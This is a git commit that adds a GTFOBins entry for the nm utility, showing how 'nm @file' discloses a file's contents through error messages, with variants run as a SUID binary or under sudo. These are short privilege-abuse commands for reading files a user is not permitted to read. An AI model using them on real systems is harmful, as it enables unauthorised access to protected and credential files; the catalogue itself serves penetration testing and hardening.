Add nm file-read

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
valdaarhun 2022-02-03 13:16:38 +05:30 committed by GitHub
parent 74e021e8ef
commit 7e2e188305
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/nm.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file content is treated as command line options and disclosed through error messages, so this is not suitable for reading arbitrary binary data.
functions:
file-read:
- code: |
LFILE=file_to_read
nm @$LFILE
suid:
- code: |
LFILE=file_to_read
./nm @$LFILE
sudo:
- code: |
LFILE=file_to_read
sudo nm @$LFILE
---